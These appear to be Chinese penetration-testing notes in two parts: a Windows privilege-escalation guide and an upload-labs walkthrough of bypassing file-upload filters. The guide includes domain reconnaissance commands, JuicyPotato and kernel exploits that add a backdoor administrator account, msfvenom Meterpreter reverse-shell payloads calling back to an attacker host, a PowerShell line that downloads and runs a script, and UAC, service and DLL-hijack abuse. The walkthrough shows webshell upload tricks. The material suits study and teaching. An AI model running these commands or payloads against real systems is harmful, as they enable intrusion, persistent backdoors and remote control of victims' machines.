	findstr /s /m "password" . --寻找包含密码字段的文件，如数据库密码文件
	net user /domain --查看域用户
	net time /domain --查看时间服务器（可能为DC）
	net group "domain admins" /domain --查看域管理员
	net group "domaincontrollers" /domain --查看域控制器

net user 显示当前系统中的所有用户信息

net user 31166 查看用户详细信息

# whoami /all

获取当前用户详细信息

# hostname

获取主机名

# whoami /priv

获取当前用户的安全特权

# net start

获取已经启动的 Windows 服务

# systeminfo

获取电脑打了那些补丁为之后提权打下基础

# 扫描可写可读目录

# windows 常用提权

# MS16-075 烂土豆提权

影响版本：Windows 7、Windows 8.1、Windows 10、Windows Server 2008、Windows Server 2012 等

下载网址

https://github.com/uknowsec/SweetPotato

https://github.com/uknowsec/JuicyPotato/blob/main/JuicyPotato-shellcode/Bin/JuicyPotato.exe

找到了可读写目录上传 exe

执行命令

C:\inetpub\wwwroot\dedecms\JuicyPotato_x64.exe net user yunyi2 1234567890 /add && net localgroup administrators yunyi/add

# MS14-058 提权

具体而言，win32k.sys 是 Windows 子系统的一部分，负责窗口管理和屏幕输出。如果内核模块未正确处理内存中的对象，攻击者可能会通过利用这一漏洞来在内核模式中执行任意代码。成功利用此漏洞的攻击者可以在系统中运行具有更高权限的代码，进而执行一系列危险操作，如安装程序、查看、更改或删除数据，或者创建具有完全管理权限的新账户。

影响版本
Windows x64，包括 Windows 7 和 Windows Server 2008 R2 及以下

上传 exe 到可执行目录

whoami 看到已经是 nt authority\system

64.exe “net user yunyi 123456 /add” 添加用户

64.exe "net localgroup administrators yunyi /add" 添加到管理员组

远程端口连接成功

# CVE-2020-0787

影响版本

Windows 10 Version 1809 for ARM64-based Systems
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 for 32-bit systems
Windows 7 for x64-based Systems Service Pack 1
Windows 7 for 32-bit Systems Service Pack 1
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows Server, version 1903 (Server Core installation)
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1709 for ARM64-based Systems
Windows 10 Version 1709 for x64-based Systems
Windows 10 Version 1709 for 32-bit Systems
Windows Server, version 1909 (Server Core installation)
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1803 for ARM64-based Systems
Windows Server, version 1803 (Server Core Installation)
Windows 10 Version 1803 for x64-based Systems
Windows 10 Version 1803 for 32-bit Systems

脚本地址

https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases/tag/1

要求上桌面执行，会弹出系统权限的 cmd

把 exe 上传后切换上面创建的用户登陆桌面

执行后弹出 cmd

# msf 利用

先生成一个木马文件

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.27.11 lport=8989-f exe >/vs.exe

msf 打开监听

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.27.11

set lport 8989

exploit

用 webshell 上传到受害机执行木马文件

跟之前一样查看打了那些补丁

输入 shell 获取 cmd 使用 systeminfo 获取到信息后跟之前一样去找可以用的提权

用 background 命令把会话放在后台，可以用 session 查看已建立的会话信息

search ms14_058 查找漏洞信息

use exploit/windows/local/ms14_058_track_popup_menu

show options 查看利用要求

设置会话 id 刚才看的是 session 2 所以设置为 2

set session 2

然后 exploit 执行

use exploit/windows/local/ms16_075_reflection_juicy

ms14_058 没有成功所以换了 ms16 _075 成功获取 system 权限

切换 shell 添加用户并加入管理员

维权

ps 列出进程

migrate 1184

# UAC 提权

用户账户控制（UAC）是 Windows 操作系统中的一项安全特性。它旨在帮助防止未经授权的对计算机的更改。当一个程序尝试执行需要管理员权限的更改时，UAC 会通知用户并在允许更改之前征得用户的确认。

UAC 通过确保只有在用户明确同意的情况下才执行管理操作，有助于降低未经授权的更改和恶意软件安装的风险。这样，即使用户以管理员身份登录，他们仍然需要确认他们意图执行可能对系统造成影响的某些操作。

前提：已获取目标本地用户权限

上传 msf 木马执行

现在为普通用户权限

search 搜索一下 UAC 利用模块

使用 exploit/windows/local/bypassuac 模块

set session 5

run

执行成功过后再使用 getsystem

getuid 查看已经是 system 权限

# windows 系统配置错误提权

# 系统服务权限配置错误

Windows 在系统启动时，会伴随着一些高权服务启动 (windows 服务是以 system 权限运行的) 如果某些服务存在一些漏洞，那么就能够借此服务进行权限劫持，例如 DLL 劫持

如果一个低权限用户对系统服务调用的可执行文件有写权限，他们可以替换该文件，并在系统启动时获取控制权限。尽管 Windows 服务以 system 权限运行，其文件夹、文件和注册表项受到强制访问控制的保护，但在某些情况下，仍可能存在一些缺乏有效保护的服务。

Metasploit

上线木马当前是 iis 权限

background 把会话放在后台

切换到 use exploit/windows/local/service_permissions 攻击模块

set session 4

设置为 session 4

exploit 执行

PrivescCheck

脚本地址 https://github.com/itm4n/PrivescCheck

列举共同 Windows 配置问题，可以利用当地的权限升级

使用 1: 基本的使用情况

powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"

远程使用

powershell -nop -exec bypass -c "IEX (New-Object 
Net.WebClient).DownloadString('http://192.168.27.11/PrivescCheck.ps1'); Invoke-PrivescCheck"

PowerUp

导入并执行脚本 powershell.exe -exec bypass -command “&{Import-Module .\PowerUp.ps1;Invoke-AllChecks}”

StartName : LocalSystem

AbuseFunction : Install-ServiceBinary -ServiceName ‘MongoDB’

利用 Install-ServiceBinary 模块，通过 PowerUp 利用该处权限配置不当可直接添加管理员用户

添加管理员

powershell.exe -exec bypass -command “&{Import-Module .\PowerUp.ps1;Install-ServiceBinary -ServiceName ‘MongoDB’ -UserName yunyi4 -Password admin}”

服务被重启或者计算机重启后就可以添加成功了

# 不带引号的服务路径

当 Windows 服务运行时，会发生以下两种情况之一。如果给出了可执行文件，并且引用了完整路径，则系统会按字面解释它并执行。但是，如果服务的二进制路径未包含在引号中，则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

使用命令查看服务器存在空格，路径可写即存在漏洞

wmic service get name,displayname,pathname,startmode |findstr /i “Auto” |findstr /i /v “C:\Windows\” |findstr /i /v “”"

例如

C:\Program Files
(x86)\2345Soft\2345Pic\protect\Pic_2345Svc.exe Auto

这种存在空格

msf 生成一个 program.exe 放在 c 应用重启即可上线

# DLL 劫持提权

查看应用进程找数字签名或者未知文件

生成一个名字一样的 dll 并且替换

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.27.11 lport=6789 -f dll > /root/2345MgrDLL.dll

msf 上线

文件上传漏洞

2023-11-09T02:54:44.000Z

文件上传漏洞是一种安全问题，它发生于程序开发者未对用户上传的文件进行充分的验证和过滤，从而让用户有可能上传能做到超越其原本权限的执行脚本文件到服务器。常见的情形包括头像上传、图片上传，以及在 Office 自动化软件中的文件上传，或者媒体文件的上传等场景。如果在处理用户上传的文件时，程序的过滤措施不当或者不严格，可能被恶意用户利用，他们可以上传含有恶意脚本的文件到服务器。一旦这些文件被服务器执行，这些恶意用户就可能获得服务器的访问权限，甚至可能对服务器造成更严重的损害。

# 危害

未授权访问：通过这个漏洞，攻击者可以上传恶意脚本或程序到服务器，并使其执行，从而控制或访问不该访问的信息或资源，实现越权。
代码执行：如果服务器执行了恶意用户上传的脚本，那么可以执行任何攻击者编写的命令，包括删除文件、窃取数据、安装恶意软件等。
数据泄露：攻击者可以通过上传并执行恶意脚本来窃取存储在服务器或网络中的敏感数据。
拒绝服务攻击：攻击者可以上传一些占用大量计算能力的文件，从而使服务器过载，影响正常的服务提供。
服务器篡改：攻击者上传的文件可能会修改服务器的设置，可能会改变访问控制、篡改网站内容，甚至插入恶意广告等。
创建攻击的跳板：被利用的服务器可以作为对其他系统和网络发起进一步攻击的跳板，让攻击者能够进一步深入到网络内部。

因此，对于任何允许用户上传文件的系统或网站来说，文件上传应严格过滤和控制，以防止这类攻击和漏洞产生。

# 类型

# 1. 直接文件上传

攻击者可以无约束地上传文件，包括可执行的脚本文件。这将可能导致远程代码执行（RCE）漏洞，让攻击者控制服务器。

# 2. 有条件的上传漏洞

前端认证或文件检测可以被绕过：例如，如果开发者仅通过前端 JS 代码检查文件类型，攻击者可以修改 POST 请求绕过此类验证。对于服务器端的文件类型验证，如果仅根据文件扩展名或内容头信息（MIME 类型）来检验，攻击者可以上传一个假设的图像文件，其实是一个可执行的 PHP 脚本。
权限验证不足：如果任何人，包括匿名者，都可以上传文件，那么攻击者可以轻易地上传一个恶意文件。
上传逻辑有问题：某些情况下，开发者可能没有全面地考虑到攻击者可以利用的点，例如，允许用户控制上传文件的路径和文件名；考虑不足的黑名单检验等。
利用中间件或系统特性上传可解析的脚本文件：例如 Apache 服务器可以解析.htaccess 文件，如果此文件被恶意改写，就可能导致严重的安全漏洞。

# 防御

防御文件上传漏洞，主要是对上传的文件进行严格监管。这包括：

始终在服务器端进行文件类型、大小、内容等验证。
对文件名做合适的处理，如自动生成随机的文件名，并限制有效文件拓展名。
应用最小权限原则，仅授权必要的权限给特定的用户角色。
把上传的文件存储在无法直接访问或无法执行脚本的位置，或者存储在数据库中。
使用如 Web Application Firewall (WAF) 等工具，自动防御已知的上传攻击。
您还可以进行日常的安全审计和定时的代码审查，定期更新并修复已知的安全漏洞。

可执行脚本常见的后缀名

asp asa cdx

cer php aspx ashx jsp php3 php.a shtml phtml 有些网站会对 asp 或者 php 进行过滤转成空可用这些后缀名。 aspasp asaspp phpphp

任意文件上传代码分析直接获取文件名把上传的临时文件移动到 hackable/uploads 目录

码并没有对用户上传的文件做过滤导致任意文件都可以上传

# 靶场 upload-labs

# 第一关 js 前端验证绕过

	function checkFile() {
	var file = document.getElementsByName('upload_file')[0].value;
	if (file == null \|\| file == "") {
	alert("请选择要上传的文件!");
	return false;
	}
	// 定义允许上传的文件类型
	var allow_ext = ".jpg\|.png\|.gif";
	// 提取上传文件的类型
	var ext_name = file.substring(file.lastIndexOf("."));
	// 判断上传文件类型是否允许上传
	if (allow_ext.indexOf(ext_name + "\|") == -1) {
	var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
	alert(errMsg);
	return false;
	}
	}

	上述代码只允许上传 .jpg .png .gif后缀的文件，检测用户上传的文件不合法则不允许上传

绕过方法

burp 抓包后缀名

先上传 png 后缀的恶意文件

然后绕过了前端检测后

抓包在 burp 中把后缀改为 php

因为抓到包之前前端已经检测通过，而后端接收时又没有进行检测所以上传成功，蚁剑连接

# 第二关 MIME 检查绕过

mime 验证文件类型

	$is_upload = false;
	$msg = null;
	if (isset($_POST['submit'])) {
	if (file_exists(UPLOAD_PATH)) {
	if (($_FILES['upload_file']['type'] == 'image/jpeg') \|\| ($_FILES['upload_file']['type'] == 'image/png') \|\| ($_FILES['upload_file']['type'] == 'image/gif')) {
	$temp_file = $_FILES['upload_file']['tmp_name'];
	$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
	if (move_uploaded_file($temp_file, $img_path)) {
	$is_upload = true;
	} else {
	$msg = '上传出错！';
	}
	} else {
	$msg = '文件类型不正确，请重新上传！';
	}
	} else {
	$msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';
	}
	}

抓包后修改红框里的内容，Content-Type 就是文件类型

更改为下面其中一种图片格式就行

image/jpeg、image/png、image/gif

蚂蚁剑连接成功

# 第三关

黑名单绕过

在 iis 里 asp 禁止上传了，可以上传 asa cer cdx 这些后缀，如在网站里允许.net 执行可以上传 ashx 代替 aspx。如果网站可以执行这些脚本，通过上传后门即可获取 webshell。在不同的中间件中有特殊的情况，如果在 apache 可以开启 application/x-httpd-php 在 AddType application/x-httpd-php .php .phtml .php3 后缀名为 phtml 、php3 均被解析成 php 有的 apache 版本默认就会开启。上传目标中间件可支持的环境的语言脚本即可，如.phtml、php3。

注意 php nts 版本不生效 AddType application/x-httpd-php .php .phtml .php3

上传 php5 连接成功

# 第四关 htaccess 重写解析绕过上传

	$is_upload = false;
	$msg = null;
	if (isset($_POST['submit'])) {
	if (file_exists(UPLOAD_PATH)) {
	$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
	$file_name = trim($_FILES['upload_file']['name']);
	$file_name = deldot($file_name);// 删除文件名末尾的点
	$file_ext = strrchr($file_name, '.');
	$file_ext = strtolower($file_ext); // 转换为小写
	$file_ext = str_ireplace('::$DATA', '', $file_ext);// 去除字符串::$DATA
	$file_ext = trim($file_ext); // 收尾去空

	if (!in_array($file_ext, $deny_ext)) {
	$temp_file = $_FILES['upload_file']['tmp_name'];
	$img_path = UPLOAD_PATH.'/'.$file_name;
	if (move_uploaded_file($temp_file, $img_path)) {
	$is_upload = true;
	} else {
	$msg = '上传出错！';
	}
	} else {
	$msg = '此文件不允许上传!';
	}
	} else {
	$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
	}
	}
	拉黑了更多后缀

上面把能被解析的都给拉黑了，这时如果没有禁止上传.htaccess 后缀文件

上传模块，黑名单过滤了所有的能执行的后缀名，如果允许上传.htaccess。htaccess 文件的作用是可以帮我们实现包括：文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定 IP 地址的用户、只允许特定 IP 地址的用户、禁止目录列表，以及使用其他文件作为 index 文件等一些功能。

在 htaccess 里写入 SetHandler application/x-httpd-php 则可以文件重写成 php 文件。要 htaccess 的规则生效则需要在 apache 开启 rewrite 重写模块，因为 apache 是多数都开启这个模块，所以规则一般都生效。

创建一个文件里面的内容是

SetHandler application/x-httpd-php

就可以把 jpg 当 php 文件解析

# 第五关大小写绕过

这关代码没有对上传的文件后缀进行小写转换

	<?php
	include '../config.php';
	include '../common.php';
	include '../head.php';
	include '../menu.php';

	$is_upload = false;
	$msg = null;
	if (isset($_POST['submit'])) {
	if (file_exists(UPLOAD_PATH)) {
	$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
	$file_name = trim($_FILES['upload_file']['name']);
	$file_name = deldot($file_name);// 删除文件名末尾的点
	$file_ext = strrchr($file_name, '.');
	$file_ext = str_ireplace('::$DATA', '', $file_ext);// 去除字符串::$DATA
	$file_ext = trim($file_ext); // 首尾去空

	if (!in_array($file_ext, $deny_ext)) {
	$temp_file = $_FILES['upload_file']['tmp_name'];
	$img_path = UPLOAD_PATH.'/'.$file_name;
	if (move_uploaded_file($temp_file, $img_path)) {
	$is_upload = true;
	} else {
	$msg = '上传出错！';
	}
	} else {
	$msg = '此文件类型不允许上传！';
	}
	} else {
	$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
	}
	}
	?>

.php",“.php5”,“.php4”,“.php3”,“.php2”,“.html”,“.htm”,“.phtml”,“.pht”,“.pHp”,“.pHp5”,“.pHp4”,“.pHp3”,“.pHp2”,“.Html”,“.Htm”,“.pHtml”,“.jsp”,“.jspa”,“.jspx”,“.jsw”,“.jsv”,“.jspf”,“.jtml”,“.jSp”,“.jSpx”,“.jSpa”,“.jSw”,“.jSv”,“.jSpf”,“.jHtml”,“.asp”,“.aspx”,“.asa”,“.asax”,“.ascx”,“.ashx”,“.asmx”,“.cer”,“.aSp”,“.aSpx”,“.aSa”,“.aSax”,“.aScx”,“.aShx”,“.aSmx”,“.cEr”,“.sWf”,“.swf”,“.htaccess”);

观察拦截的后缀可以使用 .Php 后缀绕过

# 第六关空格绕过

	$is_upload = false;
	$msg = null;
	if (isset($_POST['submit'])) {
	if (file_exists(UPLOAD_PATH)) {
	$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
	$file_name = $_FILES['upload_file']['name'];
	$file_name = deldot($file_name);// 删除文件名末尾的点
	$file_ext = strrchr($file_name, '.');
	$file_ext = strtolower($file_ext); // 转换为小写
	$file_ext = str_ireplace('::$DATA', '', $file_ext);// 去除字符串::$DATA

	if (!in_array($file_ext, $deny_ext)) {
	$temp_file = $_FILES['upload_file']['tmp_name'];
	$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
	if (move_uploaded_file($temp_file,$img_path)) {
	$is_upload = true;
	} else {
	$msg = '上传出错！';
	}
	} else {
	$msg = '此文件不允许上传';
	}
	} else {
	$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
	}
	}

这关没有对末尾去空再根据 win 特性上传到服务器后自动清除后缀的空格

即可连接

# 第七关。绕过

	$is_upload = false;
	$msg = null;
	if (isset($_POST['submit'])) {
	if (file_exists(UPLOAD_PATH)) {
	$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
	$file_name = trim($_FILES['upload_file']['name']);
	$file_ext = strrchr($file_name, '.');
	$file_ext = strtolower($file_ext); // 转换为小写
	$file_ext = str_ireplace('::$DATA', '', $file_ext);// 去除字符串::$DATA
	$file_ext = trim($file_ext); // 首尾去空

	if (!in_array($file_ext, $deny_ext)) {
	$temp_file = $_FILES['upload_file']['tmp_name'];
	$img_path = UPLOAD_PATH.'/'.$file_name;
	if (move_uploaded_file($temp_file, $img_path)) {
	$is_upload = true;
	} else {
	$msg = '上传出错！';
	}
	} else {
	$msg = '此文件类型不允许上传！';
	}
	} else {
	$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
	}
	}

这关没有对末尾去除点的处理 win 特性后缀末尾不能加点上传到服务器后自动删除就可以绕过了

# 第八关 NTFS 交换数据流::$DATA 绕过上传

如果后缀名没有对::$DATA 进行判断，利用 windows 系统 NTFS 特征可以绕过上传。

	$is_upload = false;
	$msg = null;
	if (isset($_POST['submit'])) {
	if (file_exists(UPLOAD_PATH)) {
	$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
	$file_name = trim($_FILES['upload_file']['name']);
	$file_name = deldot($file_name);// 删除文件名末尾的点
	$file_ext = strrchr($file_name, '.');
	$file_ext = strtolower($file_ext); // 转换为小写
	$file_ext = trim($file_ext); // 首尾去空

	if (!in_array($file_ext, $deny_ext)) {
	$temp_file = $_FILES['upload_file']['tmp_name'];
	$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
	if (move_uploaded_file($temp_file, $img_path)) {
	$is_upload = true;
	} else {
	$msg = '上传出错！';
	}
	} else {
	$msg = '此文件类型不允许上传！';
	}
	} else {
	$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
	}
	}

# 第九关

利用 windows 环境的叠加特征绕过上传

在 windwos 中如果上传文件名 webshell.php:.jpg 的时候，会在目录下生产空白的文件名 webshell.php 再利用 php 和 windows 环境的叠加属性，

以下符号在正则匹配时相等

双引号 " 等于点号.

大于符号 > 等于问号？

小于符号 < 等于星号 *

文件名.<或文件名.<<< 或文件名.>>> 或文件名.>>< 空文件名

首先抓包上传 a.php:.jpg 上传会在目录里生成 a.php 空白文件，接着再次提交把 a.php 写成 a.>>>

现在里面是空的

现在就写到了 a.php 里

# 第十关双写绕过

	$is_upload = false;
	$msg = null;
	if (isset($_POST['submit'])) {
	if (file_exists(UPLOAD_PATH)) {
	$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

	$file_name = trim($_FILES['upload_file']['name']);
	$file_name = str_ireplace($deny_ext,"", $file_name);
	$temp_file = $_FILES['upload_file']['tmp_name'];
	$img_path = UPLOAD_PATH.'/'.$file_name;
	if (move_uploaded_file($temp_file, $img_path)) {
	$is_upload = true;
	} else {
	$msg = '上传出错！';
	}
	} else {
	$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
	}
	}

匹配到违法后缀会把它删除可以写两次后缀名绕过

上传成功

# 白名单

# 第十一关

save_path 是一个可控的变量，后面还有一个后缀名需要绕过，这个时候需要使用 %00 截断，不过有使用条件

	php版本小于5.3.4
	php的magic_quotes_gpc为OFF状态
	$is_upload = false;
	$msg = null;
	if(isset($_POST['submit'])){
	$ext_arr = array('jpg','png','gif');
	$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
	if(in_array($file_ext,$ext_arr)){
	$temp_file = $_FILES['upload_file']['tmp_name'];
	$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

	if(move_uploaded_file($temp_file,$img_path)){
	$is_upload = true;
	} else {
	$msg = '上传出错！';
	}
	} else{
	$msg = "只允许上传.jpg\|.png\|.gif类型文件！";
	}
	}

# 第十二关

和第十一关对比，发现接受值变成了 post，那么思路就和第十一关一样，不过 post 方式不会自行解码，所以要对 %00 进行 urldecode 编码

	$is_upload = false;
	$msg = null;
	if(isset($_POST['submit'])){
	$ext_arr = array('jpg','png','gif');
	$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
	if(in_array($file_ext,$ext_arr)){
	$temp_file = $_FILES['upload_file']['tmp_name'];
	$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

	if(move_uploaded_file($temp_file,$img_path)){
	$is_upload = true;
	} else {
	$msg = "上传失败";
	}
	} else {
	$msg = "只允许上传.jpg\|.png\|.gif类型文件！";
	}
	}

上传成功

# 第十三关配合文件包含漏洞

图片码

copy 13.jpg /b + 13.php /a a.jpg

把 13.jpg 跟 13.php 组合成 a.jpg

上传后文件包含漏洞会把所有文件当 php 解析

地址加上 file

# [第十四关]

	function isImage($filename){
	$types = '.jpeg\|.png\|.gif';
	if(file_exists($filename)){
	$info = getimagesize($filename);
	$ext = image_type_to_extension($info[2]);
	if(stripos($types,$ext)>=0){
	return $ext;
	}else{
	return false;
	}
	}else{
	return false;
	}
	}

	$is_upload = false;
	$msg = null;
	if(isset($_POST['submit'])){
	$temp_file = $_FILES['upload_file']['tmp_name'];
	$res = isImage($temp_file);
	if(!$res){
	$msg = "文件未知，上传失败！";
	}else{
	$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
	if(move_uploaded_file($temp_file,$img_path)){
	$is_upload = true;
	} else {
	$msg = "上传出错！";
	}
	}
	}

getimagesize 是获取图片的大小，如果头文件不是图片会报错直接可以用图片马绕过检测。所以跟上面步骤一样

# 第十五关

查看源码 exif_imagetype () 读取一个图像的第一个字节并检查其签名需要打开 php_exif

	function isImage($filename){
	// 需要开启 php_exif 模块
	$image_type = exif_imagetype($filename);
	switch ($image_type) {
	case IMAGETYPE_GIF:
	return "gif";
	break;
	case IMAGETYPE_JPEG:
	return "jpg";
	break;
	case IMAGETYPE_PNG:
	return "png";
	break;
	default:
	return false;
	break;
	}
	}

	$is_upload = false;
	$msg = null;
	if(isset($_POST['submit'])){
	$temp_file = $_FILES['upload_file']['tmp_name'];
	$res = isImage($temp_file);
	if(!$res){
	$msg = "文件未知，上传失败！";
	}else{
	$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
	if(move_uploaded_file($temp_file,$img_path)){
	$is_upload = true;
	} else {
	$msg = "上传出错！";
	}
	}
	}

跟之前 13，14 步骤一样

# 第十六关绕过图片二次渲染上传

	$is_upload = false;
	$msg = null;
	if (isset($_POST['submit'])){
	// 获得上传文件的基本信息，文件名，类型，大小，临时文件路径
	$filename = $_FILES['upload_file']['name'];
	$filetype = $_FILES['upload_file']['type'];
	$tmpname = $_FILES['upload_file']['tmp_name'];

	$target_path=UPLOAD_PATH.'/'.basename($filename);

	// 获得上传文件的扩展名
	$fileext= substr(strrchr($filename,"."),1);

	// 判断文件后缀与类型，合法才进行上传操作
	if(($fileext == "jpg") && ($filetype=="image/jpeg")){
	if(move_uploaded_file($tmpname,$target_path)){
	// 使用上传的图片生成新的图片
	$im = imagecreatefromjpeg($target_path);

	if($im == false){
	$msg = "该文件不是jpg格式的图片！";
	@unlink($target_path);
	}else{
	// 给新图片指定文件名
	srand(time());
	$newfilename = strval(rand()).".jpg";
	// 显示二次渲染后的图片（使用用户上传图片生成的新图片）
	$img_path = UPLOAD_PATH.'/'.$newfilename;
	imagejpeg($im,$img_path);
	@unlink($target_path);
	$is_upload = true;
	}
	} else {
	$msg = "上传出错！";
	}

	}else if(($fileext == "png") && ($filetype=="image/png")){
	if(move_uploaded_file($tmpname,$target_path)){
	// 使用上传的图片生成新的图片
	$im = imagecreatefrompng($target_path);

	if($im == false){
	$msg = "该文件不是png格式的图片！";
	@unlink($target_path);
	}else{
	// 给新图片指定文件名
	srand(time());
	$newfilename = strval(rand()).".png";
	// 显示二次渲染后的图片（使用用户上传图片生成的新图片）
	$img_path = UPLOAD_PATH.'/'.$newfilename;
	imagepng($im,$img_path);

	@unlink($target_path);
	$is_upload = true;
	}
	} else {
	$msg = "上传出错！";
	}

	}else if(($fileext == "gif") && ($filetype=="image/gif")){
	if(move_uploaded_file($tmpname,$target_path)){
	// 使用上传的图片生成新的图片
	$im = imagecreatefromgif($target_path);
	if($im == false){
	$msg = "该文件不是gif格式的图片！";
	@unlink($target_path);
	}else{
	// 给新图片指定文件名
	srand(time());
	$newfilename = strval(rand()).".gif";
	// 显示二次渲染后的图片（使用用户上传图片生成的新图片）
	$img_path = UPLOAD_PATH.'/'.$newfilename;
	imagegif($im,$img_path);

	@unlink($target_path);
	$is_upload = true;
	}
	} else {
	$msg = "上传出错！";
	}
	}else{
	$msg = "只允许上传后缀为.jpg\|.png\|.gif的图片文件！";
	}
	}

只允许上传 JPG PNG gif 在源码中使用 imagecreatefromgif 函数对图片进行二次生成。生成的图片保存在，upload 目录下。

二次渲染将图片马里面的 php 代码删了。接下来把原图和修改后的图片进行比较，看哪里没有被渲染，在这里插入 php 代码。

制作图片马

将原图片上传，下载渲染后的图片进行对比，找相同处，覆盖字符串，填写一句话后门，或者恶意指令。

找到相同的地方在这个地方写一句话就可以了

# 第十七关条件竞争

如果上传的符合它的白名单，那就进行重命名，如果不符合，直接删除

在它删除之前就访问这个文件，他就不会删除了。

	$is_upload = false;
	$msg = null;

	if(isset($_POST['submit'])){
	$ext_arr = array('jpg','png','gif');
	$file_name = $_FILES['upload_file']['name'];
	$temp_file = $_FILES['upload_file']['tmp_name'];
	$file_ext = substr($file_name,strrpos($file_name,".")+1);
	$upload_file = UPLOAD_PATH . '/' . $file_name;

	if(move_uploaded_file($temp_file, $upload_file)){
	if(in_array($file_ext,$ext_arr)){
	$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
	rename($upload_file, $img_path);
	$is_upload = true;
	}else{
	$msg = "只允许上传.jpg\|.png\|.gif类型文件！";
	unlink($upload_file);
	}
	}else{
	$msg = '上传出错！';
	}
	}

burp 一直上传

用浏览器一直访问这个地址访问到了因为已经打开了图片就不会删除了

# 第十八关配合文件包含

检测了后缀其他跟 17 关步骤一样

# 第十九关文件名控可控攻击方法

两种 %00 截断和 /.

